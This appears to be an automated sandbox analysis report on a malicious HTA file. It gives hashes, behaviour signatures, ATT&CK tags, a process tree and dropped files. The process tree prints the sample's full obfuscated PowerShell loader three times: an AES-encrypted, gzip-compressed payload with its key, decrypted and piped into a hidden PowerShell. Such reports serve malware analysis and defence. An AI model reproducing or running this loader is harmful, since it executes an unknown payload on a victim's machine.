b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985

Analysis

max time kernel
142s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
17/08/2023, 07:41

Sharing

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General

Target

localer-en.hta
Size

1.1MB
MD5

674e3c0ae0f2627c10b58a717ee093bd
SHA1

21f15d58046119712572a5114b781027c99f7bc4
SHA256

b5f52078915dbe23dcb847e7badd546e1325403e56694ea624aac39c68d6f985
SHA512

4d6444d49befa990756aa4e668ac6b664b4bdd1b19bf3914afe067ed0ed0d6ee6e34a114e0a47d1363bcf588b307f032b3c0638620385f02d12583f1706d37ef
SSDEEP

1536:7pLwiizmnY5q7O2Db9L1/j/SFBOWrhRxPNahQo8y8Im+lIWFT5YhmFfON/H8P2c0:7ppizmnYs7Og9LNjaH1rhRxPNahYYPs

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
26	2256	powershell.exe
30	2256	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1498570331-2313266200-788959944-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2940	powershell.exe
2940	powershell.exe
4692	powershell.exe
2256	powershell.exe
4692	powershell.exe
2256	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4172 wrote to memory of 2940	4172	mshta.exe	81
PID 4172 wrote to memory of 2940	4172	mshta.exe	81
PID 4172 wrote to memory of 2940	4172	mshta.exe	81
PID 2940 wrote to memory of 5096	2940	powershell.exe	88
PID 2940 wrote to memory of 5096	2940	powershell.exe	88
PID 2940 wrote to memory of 5096	2940	powershell.exe	88
PID 5096 wrote to memory of 4692	5096	cmd.exe	90
PID 5096 wrote to memory of 4692	5096	cmd.exe	90
PID 5096 wrote to memory of 4692	5096	cmd.exe	90
PID 5096 wrote to memory of 2256	5096	cmd.exe	91
PID 5096 wrote to memory of 2256	5096	cmd.exe	91
PID 5096 wrote to memory of 2256	5096	cmd.exe	91

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\localer-en.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Suspicious use of WriteProcessMemory
PID:4172
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5096
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $jvrvREYW = 'AAAAAAAAAAAAAAAAAAAAACgiT7Y6Z5d/gZwdUWnb/wGi4NctLSgkyccbly+bEqQsyRsSSqGsbJkH8xfddXt1oDHIKDlWlkPbqfbGz7Pqyi8DESzA5X9WncEpM+hQdLk6SnFNyN7Jv2VHG5Kfp/y4cw1AfxzLYmEGNCdUsR1JiqlFnCLj02Pq6PcZynb5Srpc8xDiyvtwMifuO7Na/a3hWjJ/MxJ0qCdBl/uag/A2lOte5S6dmgxB97AjvlQD6+XzkIpm+Cyd13C7wRAQ4ezINZzs9oMChO54QkRC7+AZhpVgw/vSUr2Mvo6rBLBD2SUx5mLjXOUlfO+qI8/RuDoqKji4hNYsRRDe5jcSwTHMTNf8Zea5zKrBV0yduMUBgDZRVfPAyLyF0IJeTgCsNNbtcNItTHW6NpzI3L7dyfL23vAMG0YpE2wIidNAvyYzYwKb5HUYHGRciHJCm2zyT0ohu27CR7v63ad1DRUiBdR8CHxLodUpDYz49YAwcpcNOKw+kAJ6C7662AFYdrwJFzRI4hpUd6smMl0xS25yr4eIxgEk5AZ02dptSG5SP5bsrq+N52rMlvKV2VlMTc9j61edotkWFoFj6H5rLeTWngfraYY1+qRFh4KQYqN48hPLqo2q+qbwsxRRVU9JHGRjARME4Gu1WOqX5dv/RhQH0w+67EGyyLZa8osvyqrrOqA5QhXMuZT1zB/XuQu9Xd2jPpYTcCxQ6uUH3snmxKT6yEZVA0S3SguKXBxUZ80uGEe2VuaUzDT+nFDoKUUuubIb4CU66ScnyzfXI5LeB+9/TtowRSaEpy1CVhMl6WZ/fYRXvk1lGnJPrhZfbPSYZZx/k7VyhKYHe2AY2YeMItx3v3PGULaX9ktSeiJ2T6N7ZE85xKZ+SD1xgIPv7grsnTBCKR9I8qjIcjVh3W//6FkCBv9WLc+jmfnvFATuBwxGAvSx5/IQKf0nG+wvVZVRl0Z6WuysQ8BMMd7HJ4PD4tPpM7etQiFPIMdiMXUgc5608zbHvqmuhn/03fZlHLqON4OhTX1a7Z+vVxp0gMIoox1wBxuCzws=';$buWIRXRM = 'Y3J5enZTRlFMY1lVZkFzdFdhUkFpZnpQTkhuRlF5UFE=';$WpUVMfnw = New-Object 'System.Security.Cryptography.AesManaged';$WpUVMfnw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$WpUVMfnw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$WpUVMfnw.BlockSize = 128;$WpUVMfnw.KeySize = 256;$WpUVMfnw.Key = [System.Convert]::FromBase64String($buWIRXRM);$wQRtj = [System.Convert]::FromBase64String($jvrvREYW);$DzLdUhRi = $wQRtj[0..15];$WpUVMfnw.IV = $DzLdUhRi;$jJnybVCSh = $WpUVMfnw.CreateDecryptor();$HDfASYyGf = $jJnybVCSh.TransformFinalBlock($wQRtj, 16, $wQRtj.Length - 16);$WpUVMfnw.Dispose();$RtuBu = New-Object System.IO.MemoryStream( , $HDfASYyGf );$coZHjS = New-Object System.IO.MemoryStream;$ZbwYXDHvr = New-Object System.IO.Compression.GzipStream $RtuBu, ([IO.Compression.CompressionMode]::Decompress);$ZbwYXDHvr.CopyTo( $coZHjS );$ZbwYXDHvr.Close();$RtuBu.Close();[byte[]] $lBmCn = $coZHjS.ToArray();$EcHwkbNX = [System.Text.Encoding]::UTF8.GetString($lBmCn);$EcHwkbNX
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4692
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Blocklisted process makes network request
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2256

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
d87fbc46acee64b9b846fba80af0b2a6

SHA1
baf0b14e8eef4c744e45d95214765d78fdd7a092

SHA256
225b678c6ebe3024d54184d2c0db1d64c9b1b3db39014f29e90565ca4375516d

SHA512
33f7061d1a660c1b35a6abda30c713eec6c67043c7e7ec40356235d97d2b87a26c42a7850f86fc33f0d54a0bc1bcd4efd4855f99506489998072f452e800f344

Download Submit
C:\Users\Admin\AppData\Local\Temp\SunnyFa\client32.exe

Filesize
3B

MD5
8a80554c91d9fca8acb82f023de02f11

SHA1
5f36b2ea290645ee34d943220a14b54ee5ea5be5

SHA256
ca3d163bab055381827226140568f3bef7eaac187cebd76878e0b63e9e442356

SHA512
ca4b6defb8adcc010050bc8b1bb8f8092c4928b8a0fba32146abcfb256e4d91672f88ca2cdf6210e754e5b8ac5e23fb023806ccd749ac8b701f79a691f03c87a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pzodliua.fdd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2256-193-0x00000000047D0000-0x00000000047E0000-memory.dmp

Filesize
64KB

Download
memory/2256-164-0x0000000071710000-0x0000000071EC0000-memory.dmp

Filesize
7.7MB

Download
memory/2256-224-0x0000000071710000-0x0000000071EC0000-memory.dmp

Filesize
7.7MB

Download
memory/2256-210-0x0000000007F60000-0x0000000007F6A000-memory.dmp

Filesize
40KB

Download
memory/2256-209-0x0000000007F90000-0x0000000007FA2000-memory.dmp

Filesize
72KB

Download
memory/2256-208-0x0000000007F20000-0x0000000007F2A000-memory.dmp

Filesize
40KB

Download
memory/2256-207-0x0000000007DC0000-0x0000000007DDE000-memory.dmp

Filesize
120KB

Download
memory/2256-197-0x000000006E360000-0x000000006E6B4000-memory.dmp

Filesize
3.3MB

Download
memory/2256-196-0x0000000071710000-0x0000000071EC0000-memory.dmp

Filesize
7.7MB

Download
memory/2256-195-0x000000006DFD0000-0x000000006E01C000-memory.dmp

Filesize
304KB

Download
memory/2256-194-0x0000000007DE0000-0x0000000007E12000-memory.dmp

Filesize
200KB

Download
memory/2256-192-0x00000000047D0000-0x00000000047E0000-memory.dmp

Filesize
64KB

Download
memory/2256-190-0x00000000047D0000-0x00000000047E0000-memory.dmp

Filesize
64KB

Download
memory/2256-160-0x00000000047D0000-0x00000000047E0000-memory.dmp

Filesize
64KB

Download
memory/2256-189-0x0000000006FD0000-0x0000000007046000-memory.dmp

Filesize
472KB

Download
memory/2256-186-0x0000000006230000-0x0000000006274000-memory.dmp

Filesize
272KB

Download
memory/2256-161-0x00000000047D0000-0x00000000047E0000-memory.dmp

Filesize
64KB

Download
memory/2940-136-0x0000000005AD0000-0x00000000060F8000-memory.dmp

Filesize
6.2MB

Download
memory/2940-152-0x0000000006E60000-0x0000000006E7A000-memory.dmp

Filesize
104KB

Download
memory/2940-144-0x0000000006260000-0x00000000062C6000-memory.dmp

Filesize
408KB

Download
memory/2940-150-0x0000000005490000-0x00000000054A0000-memory.dmp

Filesize
64KB

Download
memory/2940-134-0x0000000005490000-0x00000000054A0000-memory.dmp

Filesize
64KB

Download
memory/2940-137-0x00000000058F0000-0x0000000005912000-memory.dmp

Filesize
136KB

Download
memory/2940-149-0x0000000006940000-0x000000000695E000-memory.dmp

Filesize
120KB

Download
memory/2940-151-0x00000000078E0000-0x0000000007976000-memory.dmp

Filesize
600KB

Download
memory/2940-158-0x0000000071710000-0x0000000071EC0000-memory.dmp

Filesize
7.7MB

Download
memory/2940-133-0x0000000071710000-0x0000000071EC0000-memory.dmp

Filesize
7.7MB

Download
memory/2940-135-0x0000000002FC0000-0x0000000002FF6000-memory.dmp

Filesize
216KB

Download
memory/2940-154-0x0000000007F30000-0x00000000084D4000-memory.dmp

Filesize
5.6MB

Download
memory/2940-153-0x0000000006EB0000-0x0000000006ED2000-memory.dmp

Filesize
136KB

Download
memory/2940-138-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/4692-159-0x0000000071710000-0x0000000071EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4692-185-0x0000000007400000-0x0000000007A7A000-memory.dmp

Filesize
6.5MB

Download
memory/4692-162-0x0000000002290000-0x00000000022A0000-memory.dmp

Filesize
64KB

Download
memory/4692-188-0x0000000071710000-0x0000000071EC0000-memory.dmp

Filesize
7.7MB

Download
memory/4692-163-0x0000000002290000-0x00000000022A0000-memory.dmp

Filesize
64KB

Download
memory/4692-184-0x0000000002290000-0x00000000022A0000-memory.dmp

Filesize
64KB

Download